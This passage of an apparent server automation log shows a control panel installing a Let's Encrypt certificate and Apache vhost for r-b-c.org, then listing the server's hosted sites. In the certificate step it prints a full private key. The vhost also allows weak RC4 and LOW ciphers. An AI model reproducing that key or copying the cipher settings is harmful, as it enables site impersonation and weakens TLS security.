kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-10 06:00:32: Establishing a connection
2025-11-10 06:00:32: Establishing a connection
2025-11-10 06:00:32: 

PUT: /tmp/pkp492146

#!/bin/bash
if [ -d "/var/www/r-b-c_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-10 06:00:33: 

chmod 755 /tmp/pkp492146; /tmp/pkp492146; rm /tmp/pkp492146

2025-11-10 06:00:33: 


1


2025-11-10 06:00:33: Establishing a connection
2025-11-10 06:00:33: 

PUT: /tmp/pkp584092

#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
cat > wRhWv7zsH8anfn97dqtz4g61FwkZG-2ThMv6AF_Ixe4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
wRhWv7zsH8anfn97dqtz4g61FwkZG-2ThMv6AF_Ixe4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 wRhWv7zsH8anfn97dqtz4g61FwkZG-2ThMv6AF_Ixe4
cat > ent_FNkPglRSidY_Z-D7d62UYec40akMkLn9XCoMCu8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ent_FNkPglRSidY_Z-D7d62UYec40akMkLn9XCoMCu8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ent_FNkPglRSidY_Z-D7d62UYec40akMkLn9XCoMCu8


2025-11-10 06:00:33: 

chmod 755 /tmp/pkp584092; /tmp/pkp584092; rm /tmp/pkp584092

2025-11-10 06:00:33: 




2025-11-10 06:00:44: Establishing a connection
2025-11-10 06:00:44: 

PUT: /tmp/pkp260957

#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
rm wRhWv7zsH8anfn97dqtz4g61FwkZG-2ThMv6AF_Ixe4
rm ent_FNkPglRSidY_Z-D7d62UYec40akMkLn9XCoMCu8


2025-11-10 06:00:44: 

chmod 755 /tmp/pkp260957; /tmp/pkp260957; rm /tmp/pkp260957

2025-11-10 06:00:44: 




2025-11-10 06:00:44: Establishing a connection
2025-11-10 06:00:44: 

PUT: /tmp/pkp992722

#!/bin/bash
temp_file=$(mktemp)
TARGET=86d2c41eb90f4cb26f05730c2abdf7ea.crt

cat > $temp_file <<'endmsg'
08:91:81:6d:7b:e0:83:21:45:2b:85:c1:da:33:f2:9f

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBtsU39dTPWMAywk1dJEpU5GOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMjEzWhcNMjYwMjA4MDUwMjEyWjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC46MjY
2otAlgq/KlgeGl8dNLtpOhEegMFpJcjchxIuIGfvldsbjcvUx+AcN1LFlHttvLyS
vv8w42tVnptxI4iIXB8Y8lCdIxSIryGYZ0lQn2fe3S8T6m8NcOO8AxL7KfEtF0lm
DDV41rJYUgxAw54YzwP1jL9ETVkMHiRHwd1rNojsP/Eswwfb7Dta2OQ7Ty4nx8wE
js4QWCCejz6ZMKBNMevkbB7uO5el6ubIBH8Ae1MbzhYKnrbSK+ly3O2A3RJidMIn
EuEdD/Vyfkx9yUTSNkR+9fDuPOXDV8TkgveBSgBCzPIpDx3LL41aKcspOchKKu7O
1DIiuTVpjvKcG2d9AgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FJ63E+oHBqF0FlKRdOz1lZZPWRcCMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJci1iLWMub3Jngg13d3cuci1iLWMub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTMuYy5sZW5jci5vcmcvMTUuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYA
yzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGabFo5KwAABAMARzBF
AiBp81VzeiAVGUGwut8iiBMw15N5jsB7f8dghiCX+GlDYwIhANwisr5BhWvMgCQg
G+pz9T5VpWIhaXCL0MKMiKdojbRyAHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2
bkakPw/KqcYAAAGabFo5WAAABAMARzBFAiEAkm2TXaq7H0N749PA81jLEQhkitYC
oSaFDGoDZ5iBNiMCIBXyPOrpqt3AMVqu0YO8OQbAgXXGKdVVFry8w9ZEmMylMA0G
CSqGSIb3DQEBCwUAA4IBAQA4pA5aD+wenu/rH8dQrUGA9KdB4yBKmI/w7KLs+Nz6
mc2Rk8Fwh3vl3TmETK/cl2AS08GkYLt92FVSlyFdd7XjL9nIneGYqMGh0l3YG2Nc
EDhATGHZiegQtTAChx1ZKwCp+qsObk/0PEsmnbDNPASK9tgoWZYm1puhJDa+/oBk
f+frykuZ0wNONQE86r+trLJRRqeAJ90RD+tyYMi19IIIViFxiW3Cd92tpgwYbxbG
Xo2sJ9kG4YNJyRfhMoU6iGVPHZYbxx7/87yl7OguPeffPWqSv3OPJZCCoL4PCkv2
6XK8QyLf+N01bKhFpzWNyhlz5dPWRpAoL5GLOQQ7jLi9
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC46MjY2otAlgq/
KlgeGl8dNLtpOhEegMFpJcjchxIuIGfvldsbjcvUx+AcN1LFlHttvLySvv8w42tV
nptxI4iIXB8Y8lCdIxSIryGYZ0lQn2fe3S8T6m8NcOO8AxL7KfEtF0lmDDV41rJY
UgxAw54YzwP1jL9ETVkMHiRHwd1rNojsP/Eswwfb7Dta2OQ7Ty4nx8wEjs4QWCCe
jz6ZMKBNMevkbB7uO5el6ubIBH8Ae1MbzhYKnrbSK+ly3O2A3RJidMInEuEdD/Vy
fkx9yUTSNkR+9fDuPOXDV8TkgveBSgBCzPIpDx3LL41aKcspOchKKu7O1DIiuTVp
jvKcG2d9AgMBAAECggEBAKJtkeiz6Tj91EjiyG8BGWYNaUdhA6K41a0ozM2zNOwh
+UsDZ2pH37J1NU9z5Zi7+sSF01xQvNhUHXgjkEYNQaUOzx5Z1SiDpUkAFlHLASL6
NAMYZn9nItA6x0HjrWvGBx5l40rqFJqmdhmRUUQe0iTWzJKJZYZ5L2yumY4TJQ5E
ZayXGAOSmhQkYabQkiAqZRpN8srnBx2PD3hIL9EmuOCjm6INSoe+cM3/MITL2pKK
I4SgZo1LP37xrtxIVUkT9UPEmjSkgqNcDk0qpxej1Wav1rGnOq0tDH/3aNRpSTXs
XI/IOdLRfKYzxkvEN6G7IapRI0UpfQ3fPwvrVZ9n9t0CgYEA5Z6KMacOeEgftaaK
s4Y9nYi6CyLb2lQskxMtz7I6d/p4T1rSaKrmld1/rh3HXJ19KqiXnGfUoNMOVYVX
mo7D4EmnhT9B7eMZCddfP4ddPwnyuq6dE5zeuOWep0DHhspBnpIDo9/DyxYIAkbv
CFhDlcnk08C7auMHkP8KWfqHgqsCgYEAzidBNiyee92bANKy1fdfgyl87au8ydWW
ZHsX5l1vrjmG8ES90ngaUdHPgjKt8ctaO+WpUqSXXJ2s9ml+SoD3IH9dOgS4z7k0
COROu6DtaXuGD7OV17DXuyNesLOlm6X0T5UYylOB2kHtFl2OX4TDAgmVjN7b7mfz
JiN0rtpo/ncCgYEArBF1L6Yncr1hfcdSkxtamu21tNindeG0EXbC0qyVogkBFT5T
BHplFxMINhs8pUujW09BZcRtEyN1z2J/9mNbp3yqW3C+4BxZTAWn67xthOrYiUqG
jQb15Aq2LFGf84MnT0POFIR/fXWCBOrQ/yjdZKcJoiEAkSWWKvLj9++EkscCgYBQ
35l3lT1/PkqGoiHCSs9Pd0EpRAxF6eKb/KY9mz4qzSqgq3cEUFWS74pGe3c9uhbm
FIy+fQ9cKAcoi+4dcEaCmzSJhDy0UOWW72nrtZAtp2XKVxtbiGa5ZYDKNU+spggY
CFe3V9dDNkW6Vm16D20pKXVf1DXXazQ6LAKkbc5utQKBgQCQxYOiyulHJpXzqnAC
RXE9dBlBSV8knJYqMqplRTsCQ14TkSZH+1azYdDFxbnIEwwFEsNP5Hym8zvGdj5l
R7yg6lJLFl+VUZvKpNMgzKtBPq7y1BB6G+G+yGAbj0lP+8SH0dw83FQNKtpC/Ch+
zS70dgcTlBWH/SOHA0/3mhGdNA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-10 06:00:44: 

chmod 755 /tmp/pkp992722; /tmp/pkp992722; rm /tmp/pkp992722

2025-11-10 06:00:44: 


dir=/etc/ssl/certs


2025-11-10 06:00:44: 

PUT: /tmp/pkp917470

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/r-b-c_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-10 06:00:44: 

chmod 755 /tmp/pkp917470; /tmp/pkp917470; rm /tmp/pkp917470

2025-11-10 06:00:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf 37

<VirtualHost *:80>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-10 06:00:44: 

PUT: /tmp/pkp764740

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=r-b-c_www_org.conf
TARGET=/etc/apache2/sites-enabled/r-b-c_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/r-b-c_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf= 1'
fi


2025-11-10 06:00:44: 

chmod 755 /tmp/pkp764740; /tmp/pkp764740; rm /tmp/pkp764740

2025-11-10 06:00:44: 




2025-11-10 06:00:44: 

PUT: /tmp/pkp677820

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-10 06:00:44: 

chmod 755 /tmp/pkp677820; /tmp/pkp677820; rm /tmp/pkp677820

2025-11-10 06:00:44: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:00:44: Establishing a connection
2025-11-10 06:00:45: 

PUT: /tmp/pkp355350

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-10 06:00:45: 

chmod 755 /tmp/pkp355350; /tmp/pkp355350; rm /tmp/pkp355350

2025-11-10 06:00:45: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:00:45: 

PUT: /tmp/pkp205039

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/r-b-c_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:00:45: 

chmod 755 /tmp/pkp205039; /tmp/pkp205039; rm /tmp/pkp205039

2025-11-10 06:00:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf	1323

<VirtualHost *:80>
